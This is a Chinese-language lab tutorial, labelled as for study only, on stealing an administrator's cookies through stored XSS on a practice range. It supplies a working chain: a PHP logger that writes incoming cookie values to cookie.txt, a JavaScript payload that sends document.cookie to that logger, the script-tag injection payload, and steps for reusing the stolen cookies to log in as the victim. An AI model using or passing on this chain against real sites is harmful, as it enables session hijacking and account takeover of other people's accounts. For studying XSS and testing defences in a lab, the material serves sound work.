通过XSS注入获取管理员cookie
注:本片文章仅供学习参考!利用本文做的所有事情与作者无关!
实验环境
1、WAMP
2、Firefox 游览器
3、在线靶场
4、WINDOWS系统
实验准备
首先在wamp的www目录下准备两个文件
第一个文件名为log.php
,内容如下:
<?php
$cookie=$_GET['cookie'];
$str=fopen('cookie.txt','a+');
fwrite($str,"$cookie\n");
fclose($str);
?>
代码实现通过URL传参,并把其保存到当前目录下的cookie.txt
文件中,cookie.txt
文件需要提前创建!
第二个文件名为1.js
,内容如下:
new Image().src="http://127.0.0.1/log.php?cookie=" + encodeURI(document.cookie);
js的内容为获取当前cookie
值,并把它作为参数传递到前面的URL中
代码测试
访问log.php
并传入参数6666666
可以发现页面并无任何显示
然后访问当前目录下的cookie.txt
发现cookie.txt
显示我们刚才传入的参数,说明代码并无问题。
开始注入
构造payload
<script src=//127.0.0.1/1.js></script>
在注入点开始注入
保存之后刷新页面
可以看到1.js
已经正常相应,此时刷新cookie.txt
页面
可以看到,已经获取到cookie值
然后使用插件修改cookie值进行测试
修改之后保存cookie,当捕获到多个cookie值时,每个都要有,否则可能会无法完成登录!如下:
所有cookie都编辑好之后刷新登录页面发现登录成功!